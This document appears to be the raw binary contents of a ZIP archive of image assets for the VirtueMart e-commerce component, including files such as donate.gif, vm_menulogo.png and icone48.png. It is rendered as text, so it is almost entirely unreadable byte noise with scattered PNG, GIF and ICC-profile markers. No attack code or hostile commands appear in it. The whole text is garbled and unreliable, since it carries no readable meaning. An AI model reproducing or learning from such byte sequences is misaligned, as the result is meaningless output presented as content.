*9#9#9)єhJ3999mmm^^^nvXi4Yg-ʺu)ϪϪkkkN6m{Ϝvۍo7O'4|Wz$H葹3...`e2qC8C`X, L OOOOOOR*%IUUզNAB1cVǶJ,}Ʌڴڴڴ>`i0 l6TB^!,>v}|Ԝ9Qs5$X, Z)܂[p ".x\4222yzHPHPHP+cRo,d!!!@TnQm̷%[`Lo:McVwA3B{^h 5HlvQykf|^  YA t<!Gzb_ə=xvَiXُfd,33̹Ϥ2v,T#cg_lNe{"vW$_]X՟ t\&?}{~7{=oTҵJF7?gVl?,6K;K`;ik}z"*Ʋa .t8%(rMK3T:(,9r|\dCi`a3PRuj'PMUevvf탵Jbr4 |>ܝBDj.T|^񴸪;2 taӑ+<zj[ק\ }*U 87YXJ{g{]8;R{&fF0׸Пս?pQ&n<ɡm xVRF9#dz_,V4?iX"Wp>R;CuU8 UNd '_kFn-2Eo1,<f ܣo*eg/&M[I{UҊe tܤa \!xK\y3 ۑ'¸q*B .?#? *||[az1'&Is(iÀ0U3_] D|YqjYB򉙓>?*(r r.ZYUSJUT:ںE e@Ni4Siq;`hj/ 8"ep!xc#p˱j8g|j pbbq+a=񓆅¿ƂN-n^KL~]`W\D/5xzbq~)'}j>ͭI 6a|3uhfm74ȭjnz`6O4,5mz|nwׅb9|};a zɪӪӀlG3žļ-==6oP4<36O)B^֘_6FFIBcP-ѾikL?WGY F΋i#r {{?,ms@P W{7)7NA,G'3Bix.?to>ӽh*5.M) n_܋܋܋4* ) + 91h=(r=\C\wN^Fwj.O߽3spvvݍ%x\@t ;9< # an*>S|  akG@kcZ*[IB \!|B >$eIP> 3hJ9%al@2JR CE`zVSM@ͱV:5¸x/gȵBӊ ??r%ַo s\)t)J'r(eڴk'rkš0 n {E`}NlWٙ@ɩQ5yz%EDBzPƍVl)Wmcmώ!oc^ͻJ ZJU@mQ>*4/kk7B~hT3(BK6T?-aRWI>*7w[W|'rfT<~P!T KK f߰oss 7@ҡ#Im&Zcp8sN| ZXZ +u]:q@M~((|ž1go|@yr?ɟOr"rX@^*Q&?kBcz*%2 ~.xy9ђx䆢Q_Et̻Ko~99y`UP`~wp5s p hUYeK(zOWnJw{ jS3%<_/5cYlOA+Q\===SLfrNw;|6[%#J,޴N~QYܠ,4ojh>LM^Jϝ;1ر從4T2o @rv)Aߡ~ȕ(A+-n5R'}Y w{25evC7UV+( rr2vpv7o.PոJQf[MKʫd@LO71"ⓓ)ܷ{ƈ]o:9sqqqoof@3Jq/V]{3N9 iYxKg]=]@շ¨曊#0ˡ.NAOx0pʽB!B!B!B!B!B!B!B!B!B'?_@!?^>t)5u>q:}>k {l''N8q>quҥK.-1Lk~7_>1ӭ[.߳mۀ >8Ir!f W_~+(HO?qh۶eVZ]Сu6mgSS|>3f{ tu,,gfv,+@DDRRfOrUR(xý=jҤE-]@6>I'uS0b0oШ@C'*wE|Wбc:;:v,%8~Ŋ֭۶m.B!B!B!B!B!B!B!B!B!B!B!?KOTWWWWW3P0fzIv>E0bcu ),8MD/"cLa~JUQn]jp$~^  $Ɂ4T뭭MOFA뷋PSS]m( иqhh=Wc;%(zd1QJW  ?fV>rdfW֭J !vD뻂\ %(i:)k痔0տ|>ϟ<i(An߷;w6p\I$z }ѨՂPgƞv\4TTAREQcMAn۝N]< g䆶o߾}vܷo.iHc`0𸸤$ 4466) >&8tȑT[[E )[0CCccirm%u0VTF^щO0|m#@DDbA !B!B!B!B!B!B!B!B!B!7N2;VP]8@UZT*z $D[5P(X@X x!A 2%5_݌UUk{2gc,4s~c,+_g"YZc̙K<a̟osbanOQz%_}n P"\Pr{kJ$5kmR$"R&`6Z @ƀHJ%0&m6 ryB6^jdظSY3e8NE$jR ˀM$`1 $DP{ !7WULzBQU55mOp0l 0T:ͦTS(J?;Jx1jCXv6h4:|BHCƫՒT[@\\hhPPXxRq1 FZ xTUUV:ZPQ"T[2`2iz}v?RT_BT*Wown~O@ \^R@LLttxxvBy@yBT*5ŸL&A8K tEIAjjjj, (l通ZQ]&M6WTO\ fv /Ǐ=~<ё DP(Fh4`2 TC}Ee2L ZꊫZ_i&5.^]:^o4nY] N媯FQh4qqiTt4TTA czLpqTry<ªy<2Ri4&z(ICE \JVk@qqqqETF^%%ŀh0~j--ZF]F`LEJG Pƍ7jT_9 $%mۦ+fzp{wc^zNx<(ICE \RT jkvw }gݴNS@$jZ++N_!$'פT ,99DO/,',ן8Fj3.cYctгxO3y6iDu:>^z@TZm0 8'!B!B!B!B!B!B!B!B!B!B!}ԪQXXXȘϷ~U*Jq>>*+Ϝ9s1I4Ej4~Dq>fT7]vnw;fx3͕F5Pi6zgBȿ*A\/a}%&B!B!B!B!B!B!B!B!B!B!B!B!7x/t]&͚Řx<@iiAAf&t6[uNh4fxrtL`68`2 !!jWW* T@hh||6oYt)T OR^‚M65` xvƀjd[8h޼Y><\P*u:A\.ƬVqۃ?7AIMy@SF --5q$9@PPiix8l46o8%%UU@Mͮ]{$IDE&BNgxx^`2$:zP"W :{`LU*eqcr>$$4ib0qq P|y?ɀ))VRDb#.`Ⱦ}oYv`*2222Np0B! mYuu?5--99;;^iD"Hc ߰X `0 4qlʀP0PtDݻv,)ٵ HJJJJJRDGL͛ ܢ"k|x?嗟px߾}-D WPk 'W> |Oː,{z޽XoJʏ?ŋ+yW,-]j  aG^=:QR{ ~e8RѨaXPTԿ1c ݚ޽{VU(>ХK^͡P]P\ukI Iu"""""""""""""""""""""""""""""""""""""""""+D0 Ve̊]8v 2yuN,MgV9C)(mX'@ x'R@ X{e57^rpOYߜ@D|N]*uut 2sx` a<O``ͱgVs505֞lPoROuHoJ \'5@xuG7}:[rҋB!DD"jC{4`Ӏ$t(cϠ ?Q&€uku'6[loO|7JꙀoxW/C='/y\< Q,[Y )T:eNRBŒr@f9GYP>dbK.lL@Ҫ >D~i€`"ND-l@+U ûb?zu fG?yj_ }lp. Yc8#FBLkZ@D 6mw `h9xEC>^_}`ڿVV/~eSW@#V!<.a@qVxQ5@T}YlvW9@$榿yXljfIM;\ 2&`?乷gT"nΜ bX 5Y8Gj<<ЍS`}nÏ<h^KG3WoIUR 8o;M#Vyn&Á@;lj@qiM}W;n?bՀA)@lQMׯXX=MfW#w㭀wA6@iw':|"j4 lDh݀  Nj6y_y|' BO`L;m|;싁%w[ԫQiJK}t9]nBdc-1nwz=:P>;2~ΐӁlmJ`$4O߾@h:\HzBGJ_8)a@CȥKWwrN<), ])*34 iro J$TqY` yCVNLWVc?2DOD([^ly3SI&UGx]^ի̔dy`W89iQ1v s9p^s~tz#Hzޭuu},wfIF4fޓ9;CeIOc@TW}ꚛk-cmtp5vѥtytpu(\3ztp5kjѨZ_=zUښ5%55n@RV(Pfu:ߓx!f4͈\f9/[RԹ1q48;|;9ӱ 1Wfc+F/Xӓ;n>LxK1MΥY 6) *HϻO>D~i//j7LHHP3L;~T4a 6N""ODc>Xau*3>8l0feؚ=1[n0CUL̑98ŸqQl]ĻT\,@vsدjJ=gb. x.tp-H)OO K NI 7t%(AXO\$sG;Hpm8Tz*VnjvmӪ7Vʏ// "y4&Q9+v/@P~e( wo܄q`o'^MV $ue2d>~Εb.wEr.snomOtDԞ)Nk+# ^4W4lT}Uun@G)U@Q^[Tn\^q,P9s `m̑~}逷={}CԤ-ᾉ?YBw.hH,-^;JL"#h . 3~ Kɍ/[S6mO O O HMjr pXʼn?yQY;>qPO p 6J7e@ͻ|W!!#WJ/,bOc!>9>+sDMDqF\@5N׀To%G[J m2ge<*[1r,Pj_{D YeR_|7v?"_ZAu@24nov2`\fn4poqtm zWHOкȺ---\5Z pr>q>@X.4SKqG10n>l x0?7C@a||| PUU @+Fk'fDMDM, BB}umf-Oa뀭9_;;ə0`bwt;6b#6/_?N*4eɘ~܏ac:+C".r|D'8Fjn)/?rR bFv"ƈSÞ˼Y;ʳJ2\ٷٷPSn1<DDDDDDwDtx۷o߾}tݲZ_z=M~?) H/(lIDATOo/ F)/X֬kk۶mTUUHJJNnIL@>} zI' ʄEFϻ:wy?~z}> nسg2  BDGC &(:$II~ߺEϷ^k}%qehpEK=5멧͛7m*.m۶DZ,l_Q4:t ;w%>7r%::\0A!4E `ܸsϽB@cX hhhllh CuD"pnqDGC ?\.v3˲,lq'>߳&(:$.˥u a`i-qDz ,_E4MӶܦԒt0t0D Ao8!]KbjZ^Я!^K:kʵbXe-|>3P1Ao8<1TNռh48 (G ~U˽v-sP-&Iqx3M Ϟolnu&QEDTն[Z&m[֫v Ñȁ 9g萴TRwjwS(Hz54ull:~A7סY}}CC0Zi.&$"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""FO|Y&MݻO>}wOKKJҴRN4M%?߲,K@Gʬ,799;{ܣ:D"jnݒ%>x99眣i(={z۝877G" | G"i9sf' *)U ~[>}qDZX ~55uu`-Э[AA H)ia7M;сQl˲,6M0 L0t=|PSS4ڶ)㒓8ql;kIH-hMXmۖm۶US|?@Q ItD4AٶeYVmY-C<) qsOXkeYeLPDtp8ēRQ})SR, D"xT_9(lj=Lv%"g5vرc*JffffffJJNݺif\SH(RU4ZAP8R)VNWLWPe˖-[WP( z3fc=<N4EilL3zHDj&MˊWLVYn`z_+(q8J}}}}}}$_PGfdt}}~iڶ `ZMM@^^v:'29ZAŷsSs'B"eebaAax<;65@ZZU[_a2eOPI!cA'版YTL]7 LM5Mr@JjnoOOﯬ ZrR8΁ZZMxSS:uZ сQJ&~+KiiFϛ6%:p":y^ۡK/=嗏~%ȑsЭۿ;nڵp˖+ydٲ{㍮]% 6vqJs l9$y2Z1r VB5:vtx\G979C±PR(#tˏ6':~j_`ڨYnͱw*{G >}k6X Ё@16abtr<)4>wa6B5OPZ{VՃΝLH6/t XZK`qz;nq^T[&u;W)ATcBX~^bB詽a6F@ S>{Q\uf| ЁwG[s< X <Gb]bk;L;?/LPԆz6JXeA?Ub9Fv>yA, !*o*8P'ሀ܂܄؏ ۰뾻{wwWO7M &@DNڑrN۝1 4T +</c:$l"-b+eX <(J %[pMr5퉎'&(jCʫ@Nt.C {At<,$[y ~AÕOD P 0@]…ݿSW=7LPԆK jbrR 9:,\rl_:^t_ k|44p.p n`kZ`EwR. L+o0@A Pjbyr|HP \ TNl?| FʄzU [;2ʮ\K*}[!w̞lޗy;ݘ@v]Q! 6P_l=!"oT,F ZUQN,5hRM7PfWwdH@.ֈe@llsf~_+Am:zn]s5Ӷg\^o^@9Fc+ݿҁ%VG6KAu;w&㽣6M-]0>eϩ׽qE=&;9S{ zLd֯e>dJ%m2HA\ߚ.b L=qmdbC0@L4tnto9sd8w8gI_BX!"%<aMwEOV`Lc wS6U+Iuͯlۥe%&"""":qڨ>fPJG\yg<G/00Z|) 0~y%Ad YX\Ltn TF*#կ'-[8DO QѺ~̓εw.[$N=br:(4 Mґ؊LXT!2j?hbcOa<(j ПoK3Ϋ׫}%|OrfO<{ɠ,F168? \' X)ó7 cT@ C?suU9{%JK2moץRʔPt]oǺx{[N2N}*׬޻uuۆ;5qaiwΒO'3۟ v/y`Ksk"$:xԆ2Qq%IoL~m7Eh4OC:Qo}?_p=ԚoWX,Nt0AQ2_NTROa)>ƒgp2Ɯuǯݔo[8Q(N01?|H1|dB/':~j_ u6Q hƨC=:%S 1B CqoZqR5~h?hϸT5T֭Lt(}0 >pb wOY *S@tOtOGʲ,/8?>qї[7O .q(uk+#0G%zBa>&O(>Z)%R`!P'>0Lۚo 4gLO,AQȨ\ `ϰ3`+1&d\d ~vl|bEߎ^ X-a5m' P{[] ҝdNp:P Hzi+0QLFZ!RTuv};cecMC?z; {z^ozσ6 01P'3seQJS9V\ځlj ʹz`j &6TdTc`qQdx-yțٷBkB>☠WiWYl4&t}}s|yZ^/>FeX‰s>`ԤIENDB`PKs>\&^Z>>'com_virtuemart/assets/images/donate.gifnuW+AGIF89anOOO}}}ddd⊊٥;;;Ƅ!,n'dihlI-ex|m00($hШtJZجV`&f!zn[90~"{"eggikr" h}~zƹfξ²Ǖ֤ͳL@5 @t tϠ<}ch9r߹H\IͻyHk㳆</fG3,Η tDL044  <0xׯ`ÊKٳh@ÅGT(x˷߿ @AA"tPxǐ#KL˘3G%:# t0РӨS^ͺװcVM0$Lƻ N|ڄ/+_μ9;PKs>\w::,com_virtuemart/assets/images/vm_menulogo.pngnuW+APNG  IHDR@| pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F0IDATxymGY'{ߪZ|̳7 asAƆƖlAE|ږǶmlfPFDA%Ф3qCƛy8L{\SUk}CA{^{ڵ~G~8f) GkSƟczkEdgxܴ%u"S ((|88_A>.79q(Z!/, @1H 0'uyatm40%hAP(@<LC33)D4G{i)~?/,?Z :jp\gų)igmk O;ۏOo O!l6`c@L 虶/̒3ׁ˒WXmZaQ"2>o9Z۶XE"p/Kӆk ][F>d [P\Flf`MtCQ0 K(9lE@!{`6șZIhO@"3=:& |ֻKfs MLAA:~H\{}JV`)@)9<~?qmD  ,al(`(| Nx.̌ި(ĐOzzUw?@7X>’00"^RC)fД5ESX @fu0J 2lo|00c^ =cQfT&0 &^|iS 3]X7$);( ǣP]wQbjva}-8E~HBo_MS#ی_U Wǝ"&ffZZBL,wg䙃vF潬P{\eI0iv Εߩ Rc05o-ҷ߬LM_V@ ZQka#Nr"7晇/Rd𿅱y; w'`:ƨ k1:M"B- 9)C@*ysk \CvphS>]nQأx+{QHq׉1#Sy4g0aX8e{{CVz)hTMDC4fPkO Il0@$pZ m48Fom Ik-7tf4MphSK{u5yGXI6kHEA9Q F/`Bфx"ː(}f7,qSȒ 503 "8@'&fom%ym9xݣ D܈_?*QZs T{u& 4 DXNnX2?qHLMk受;?')6ק[?KO&33̂@%Om(Y'_o*RyONR$f.=xcĦ@L?cJ%C9RD:Va$Sǀ^O1[=WZAmw2 8[H kh͢j!r=ez{"OD t yԏ/Z%/n헲  !(ޠddLC!lQ@x<=|gu8C ţl*sY!B~ hE@ڮ+GeY֜n1pyCV#b4OF!qP@i2Q.Tkm?`>- (Hex"wFDi--/ڴ?|61%q l"7+YANxn=a+.а@3IsZ#'&%HYX{ J]e"OovD#Y-iF pۤV$ S B xPڎKj R"8 dLЬNt_v/ Wz+ L ԣj4@L[ힳsC GA'e+)Vz^ܠ:Қm Ko]{תyliW5f2!BhX*gOC6Oz%CDI/ȭms f~. m|7 <'@ C@ kli*ynC?Lyh@SюXܗy֯}53ƑLً~BkpZ@술I:_2pC2՘iCG7<<h3>A^E>/j݉r"Ee2ML1DQ R7n̑< _ `Uo]t_޳tTN3Dړ<kt wg x(̻<X -Bٚjr}բ_hQ41:CuŚ2Y!őOHfP'"¡3/)B@0%Qz> _,(sbC0NNնg}*:fc*.GHHQT4 ?wd/ҨF (jX@"I;l=e]f_ J5L)OӬchxݽF$kKZ8Qey,zg~/WI(u;xWճU x{qE3 5" f*xC#@^I3uOTb̝N#kA3aOd2Iv"iӅ[K74A.߿~h߾gj >gl1v uU=$J8kҁJ4fֳgG݋= }7Alf5Y?E+{6x;l V"> ,-H)2ci(@`VCF @}vc(:2O0HI (X<-22AOY.w2LG 2Ê8r Cſ=7RT oA(wHi@iLK9ם ^fʙ15G*imm}m;&8O65=;ˌeR [M3KW3R@k(E |=+q@#S @pxZ@cc3zB3>dq%x6+B FH w!VX(x @':Qj@;J_cU%c*Ks"ti֢HG(r/)-*"kӤ Ljwĭ0/#i4漐M2Q0~n[ݿ)&@`pYjIºDOnFtX0KҷHm 7V^n.mj1_mJD62z@8ouL; "py6Omm .Yϭp!GXK~sK$uS٨*B,C[jo[+v#:+"ß ƨYTFnʉC{x] Hs\]Ro1`XLuL?;"V05#T뼐}h孅# 4fS5*9TH㦢TyHknr3i"QDu JfN>h;"/L ;pfgP(`Vn~9lg5C/%uRpƌH``sSݸ(([)iB;Vu is^Ea. @^vu:{~ ϨwuL cd"$~Ү+.J3.+w5 N77Aigx(68tU:S ĂPΣ]gv1b`e5AAw ۶@X ]"jmVtJ!Pv*I@%^ՅAdfklmѾu~涂RSܷB♿Xf"8k7-h5P߳_*,{gj|B+6Jؿܽѻ ͐qڔ#͈qV7%>b۽\w3"lR]!9"t-h z@O4CDyz>k",4xs`E~ggIU zTIZڨ/iUk6'dka{5}TS tCB5),b r`ޚTG?eftCW0D횢+a(fZXՊafvMTe9 *Pm:P3fx' h^Rm=KԷjQR\ hbtD8_PHWζ)bY:Aǩv}SkRU~Gعopϑvmg ńQO7?TtIfqg ZfYW< aLp^^Ig|O&A`-h.NM@e(#mZ#dBa3H~fRЧFFX@%{Jbi[Z_yF<XQeT(KA#4U㱱n0;] 0Юk ЊZw~V@  Pʉr#ɜd/{&LE =#)|Q|8M-B[ld=8Ri׾:GXܴgO- ´fŃAqCbXO|c3Y)σˉ}`@3EPXWrp$0sꌥ!@$2d0U0]C ,}K5B.v).Y7qcYV rx)ʉC@KQ=Ppo>yD@MćK={+3u]i2@dxt5&8ѪPXB!D.uZ(()oQaW3(|*•w~0MMy"*_<ŨB,44(;D/R[L('p3xR {4L#D,w Ѣ(nhg6÷FF]h4A?̾vjEp 5 @) _fkcSus(#Wᵇ:\+quc4  rnN)oK b,8ԂbB߿ VHؽTأ=;6)2%D;3ur溾Vn"̈́3fE5gֶD8jB$hB3P@!ik(Nu7~i崸Ou Rް@!pa-,!%AbK% EYHb1RdY#_j2MĄ\3 ?!HG5?yNe)";8:(SYu]~&Bͫ\; ZyH9zIIU]GnwybbB+ PcSusuxod{/3w8Dt3ڢUfk*(Bd=&H$ )C+{M(/y?)J 840xw>֠\be>cBd 5}H~EgC󵥞`T&H@(j7tVz9rXN rZK $*( x/X^1{^R4$ le ^Ssu }w ]N"JW @Ȇ -7DBUZmt;GK(!dWX3oF'+O!.+uoe}uaƋDXgpժ44'{Q D@-ЗteZS=7R#/q7=J H)sJswKjRιJVBs46ȝǩ9_ !aLkjme_A%k&8ɰs$q<#VzKV"`hIiq`6RKC)Ů#:{cBY%bvh.ISm|AB.WY;Ŭӡ2E^@iT+H"yZ oSE`;ߵUٷl +AoZ?jL5^op2z*r'Zwf;m3@P\%uHsw{U`nzEKZ?E7)Ǝ,CiẊDLf;֏qV@+@֊7=$YFE ^JRtP?iiV 7|$q뤁G8H1ȪEf^JZ/Ԛ; fHSJe"x1 $1T ޮ8dTK.]YefxP/g[a%ta=v4ˑuOӷN7=,瘰<"afw2bk"4 O>-=Ofh@+~wR_"\ a,ŦZH ,Fj b8/սzpz=2ljM׃ X-w/=Zrɛ5Ko*@8qў\*'m0l֣ )?']Fɂޮb68zk'$-Er8Pkoʆ+_ce@Dڪ^-Es!m7py~)"[y1GmamE1DW֍KGth)ŵgmj=K?eX<;_UH"4J_M26z@3b1iw{M {UozֶFAz -bɻl 4~}Xf 1;V;!|(B`nM_Eq=[FtS{kk ˀ~[gϸ"}8 dDxA?b9:eDKHCW"WɭLF. -%Js{Ǘ7h@ݻw_T#ш +&֣3zauK+z{B;Xg-Wd=K(]JkT)/Z2p(CBhѓG?Hƃ_#se=+1KD.NUD0K}[EHQҕvf-x7"Α0ړ8kXʽ{>p^C@ÌYê58%=w{Jޠ+`6꣓Ƚ^JcF!sf Om~\ތN0R" Nm ܡ xWWAP 2iBÑ#6Q| $<ꃊ9Blpe4*nNT10<,k, _Dm|.qP*<,j*ה?w^@N&6)(dR}-4 x(\ at\&= Uhe9XcD 'wXODDtJA1aB#*˸dnu\ѰRnL-wi+6C^-=.^8ٺiMG6%mlVpxX #zO۶xn݄~, <8܂ m=h 6GΕXXO1_pa$V`:V#%;p.=nj[FӯA"OG spuyhXX pyq+u8 8([a%ud SXK. 8A(B.}==;~A&O"qމZ 6#5vQ m0#e> tHU2TV49B1,GW y \؏+a&K"|l] y  p(A`= C"/ 2`5)dzQ$3Jl!|C( e.J&#V*KyRpQ}4oIJ@̓i*+<e cA]'@u_ T\$`ΐE 27ê'՗Tk麙Bo-_0vcEb.;?ES zx̽8'>I9Wep-؆|3~n"Q}JDps=q;M@snp-K(B4{dN ^7a|=_2 \Y%8q1kop:eY]3 >N5/z(!?N^[FҘt݂ZVK؇Rj-͵JRmR_/Qu0_3wÐE Ƅ=혘|ZdTa8܉,M5j~\&z8VubSpRnq_X-,ojjoP%:0]y;1[\2V+՘zWa άƙcS e]UX ϡ!F /][@V}JPc=W%tV`}cEGe*r/]nY99391YǶ;QꑸV-lTmzцϫ1MYVGVoNº"~wzOu{bg|j&;aX%?3]FTꚬb}/򜨝^ߘ$g_QnpdUD^,Ԋ}wgVy.x{𘱟V@['}_ (J9!R/~t3ͭ'g1+\dDF5ѝU8@ x1=fl#qb1玞`J|~l}}pN<|̹`<8|'*~A}oԃXNd;SOS\Z $$-com_virtuemart/assets/images/edit-24-grey.pngnuW+APNG  IHDRw=tEXtSoftwareAdobe ImageReadyqe<IDATxڴV]hSwGôMsbeƵ}0C}hAa0>TRtt` Qd̲mEBa/FJb;h~xNL\ɽ}˽97TUU1NkqeeU,-R]GLss֭#):i&޹}'zfCsg}G C[t:`PE{?ScNj ;w7ea(C$D"×.'N|Yb o.|qMd@ߦ B{ TTMŒ~e99bMW rJ U m@YujB$QU[ERf5o%[P TȲL(Gn7F%@icSooiadǎSX2?z1pĔad(Wu8Pv8I!# @A$Kw@nK) kkkX 6<-kAfeBvɒ|bhhHDL'pt N"qo&d`yy~i.Pty>YXX(qGG i-d2/0߿weYv"fd 2|2c,-- >JUc{h6e1#**]Xb^d麪@{a \SB(BX%lu$8婓Ir3[ZZN8mU)I|! sTbW91wj\'h2*0ȁs[rV`,S- !>2|T,Wgf09YWd}ՕeZ__ߏX* ΃X ߮GKNӸa34IENDB`PKs>\]x'com_virtuemart/assets/images/delete.gifnuW+AGIF89aʶ¹ݗXlོ󾾾lyyyur|ئMnr򀁁}߹m{͕ެ|}|]±ͪԞٲrϩꤤֽcy~^}Ouʍ㕟tģݒn~篰ڃLpÎ;XYeƋ˷Mj΋_u~ÿῼ`s]}ϖǐsp꠱ٷwww񷸷םKsͰKtͻUqۻכLrɾ"HәiE_i~eRmڽpé㔙bp󄋗郃ȷBatֽPuVy쩯ـQus֑Ύ׏اcڢսд! ,@ ("D 0`{HHXr)~3A%}"HN6Qn,:lj mLhX7BO "pQR&8 ʽ4 6\zhm[r#$%\cU91n:W `PpMYC;(PCB1 p O6PXO,#VxcbU\|GӌP2@E(Cq`'*(Ћ%qlD KmI HH ;IH,p߬]& 9,ȓH%cя` r@ O\::(com_virtuemart/assets/images/icone48.pngnuW+APNG  IHDR0xk IDATx^uxT?>w!@)VhKZH)P8Ex !.mwo& Jsl6W̙3guPc>}a5gi9dfFESw֯X6ahlpjPOC*)QNyʽh`8b@mRxVmךnHYH#ERc84] LKƚiFβz55Xdeb'4([)%e5aY, 9^'Gy,"IrS.DB_R,|Na[ĉ9:C$d<V٢T`9sEnjn [ܚ?~o%9ٟ O J#@P^f2DFʤR,dZ%(z)m&6lS]Ye謹?-}Bzh4`{3BH<*BMd[l#u<EvO[Q'4MĀr{b>"DFJt:mN~E'ו'hta*|ʭ[YO+a5 &@- dnb me[~~sv1]Xb +Ym&my_Ղ[8}t]q&6"';ؿ>Wc4rKNf @BJ~°J*a6;ϡb>[s{/)nXB^ 8-!$&mW;Qnayԭ ӵ5,otҞ(ϐ^yHvsƼo4ԕ1'RRVCOZKg5x%9dPYQ!}y^ꯄd fD.>Q\TWͫ3-**@,in+VХcGnwϋ4ya]iI=i(8#9WJhf7حi*Lq4QyiFDx 8Z;/R Y&]@4h&XMCd>8SU^!T*+ЌR7԰fc@.K۩c[ܻKJsE5괴^SzO1v4.:7Yќ[g:^Q'3 *9ŠQ[kIjpwy_Ou>wF[Ȩ@]XJDh)*?c 8R\_ei Bӕcnjdv+qţnwλ;,:.,%H8H_0d˿ Fݫg/kx[>Ii3a%u *=߯_O{j彧j8GX˫wNSkקR!nDE~OUNR 0遉LUH V~]7n㬌d,SI&k2.j1dWTfq;s.:zi S%?_ؓxԁE'iʲۡU4<=wB}jP&Y_]/Ń9ý{yNX @* GY'*CayOVܶMOލk8~oEkU}hC=&'*anS b(O9*||Ug]2}|i7oiK%r~emo$wtߠ)9vvWtͯאg#ڔ]MlWPpܘq詯 $'ԥ/_$?$gUsOKs̾wxnh_η1ޠA3 K,zБϝXvƝ {tr/Ww )o鈖^ ^ֶe PlqSmixHu)8lfv1N'Yw0q }SX,v@P+6_\m:apKb|?_KЙs7}G ue5ze/o_sǂ^QQ>lڤ;n A.W?ާyNݴ{;#`Dب%%áaEiRtwZԥ (&m8zP eslSȐ{zltPHdOל plvͭn\i۴|wwN֨/>{i~'≮S;'1c]v`HEF%e ޏ*d ;##6Ps$&.42֤I9,8+W;+R! L߹eЛW/45M^BSLH*2Gj'EgfxPh'~/6i'&XvY*[NWR=m\,%uzj<-=8:(G%MӥYy[=vqyQVѫS=qdd3 ^Wy'2T<߽eV 76~s'K[V`z)N* ֮~;;ύl_;g[}hGbq{)s+-)?ܒ.Zd v,=6}cqN| !LvٓZ)fee.Zɫ2p!L}Z Ae~*Ԕ滪{[}|>KB \Ʀ]ܺ|K]&OAwWHU56P[&q {:8"@ie}riXC<#] uTX護R?.^~H9ebH]'qcezɨ'۽9n}v4O?H޼KS<|5ܱny1&:.g)ۗ}V{^yL}HA M^ٖ ={]n<\=%Jr<Q ' $DND>:zg ]$ACRCbc6]]^^~=00dSQe{/5j?T?bXb>I쬈Ug]ʺ6b"R5AC_1OzK7Ax*;yo/wozNJg/Mķ55 !D0WMy?y!1 &CҪ"z_s|vq}s"/z௤On&O' 7G݇Օhq=bpfpLX\#/hF_֟R6c1[ڬG@_s2fE^kjE0McB*", fZc1iۄzD&@ɳ\K)?03 a`Tz@0i\`X̛ŕG y<pdfIݪG WiF<=R;zG2P&d2O&/DH/ T_Ymi]yT:s,:W^;ꇓC.:򜇀"vޫ]@ܨ'v别 ,;CM\3:g1$?gE ɝ y"V9vEq{$NЊߊ^0fxLׅb_c[3;b!qfB$ .9u_ш xDzs#P;DY- xܲZt\s[^DN;q&b2L7@vj,PYkF%u [ƁR)"C?T$ ,xqi[>{]tRzOQG'2̤3[z{/[-a*PsƊ}7/ hhapqL9ԏ8)8Dݼf& nɐ/e)DO08E' jA E Eך:/LEZ2j)KzcC %MR]!k8+h`?B$8!#HF/4C1Z7"kgB=p7DDI  >^sm?ܹN@|933 oa'+$Bie¤g& xx(L;/(6 ]'^~%QBd9(0DDN$…pស8FmE#I`ܰ  uBY|_wS`Ygӛ{E|. FA:1ooݝ5Z+`\̨!jS6}6|wdGq26&aeɲ<~\'+Cf"1o1|BD.V}s+3ȏ-A{ 9PQ<~ʈi "5pѷʈ @UCaB/B UcaA{n* Z\c8$Jq-0 PΏr(QHD| d L͘絹- R VdkawYex0 Q[E48Luh I9!@AE mZ3WʔDap <<5w&c1 |n3 NlbjE.a\EqW_L7vX$~.ҊE,Xfl6Qtq՗AQ6δwY3pΞPWs!pBlS>^"xqj8⫅dV H/@iV+ѝ%v_.84@/ɘ(ٚS6l/f5:vԜh:a;i֎@'gh=QYaz,Ru=dܧ:E $'z(gkᄏ鞉^ jCzBA+om_tyo}GMʉn32z}@U+n_߫I{se h8eiy (\e 6O8.*Hz.c-_eWti`i,Ƒ"#W- vƦ.BϚFvr A,̟:yL$U#rW×7R=RUq[d:a@;oM, I<Ѩc խn5Ab.(|1 3!=KuYaRdE#!$PBUV\f:;ckTV~MQBs:OcD><]G'">UF|CE0 ҫvc6![9h^ ;9;dqzf.4PW/R0܁`$J%Zp.Ϛ\,P㙱1 ?vvڪK7 5J49=`s nw`sOKR@Tpe m"T,]Cu%]HlA ו^WQPB: ?gñn׌3iER IDAT!=}`@4zƱ/y93yG W6!*s|HlS+!+/lbc?`"U&p3-EG~Q)&k.3 +>9CCA49s5J+[lf֎=3&?1~NƫnBt< jJljԄۺ™gNP[/d+@YmurxEӦ:HheA2hۭP[z%  c}uNl \ jpB B6赎fidUٽf0&ƹd:(⎫Cd#= Y.z8 lTz l]Dq5+<߮3SY j  0j5b/|iZ4Z5hͥ 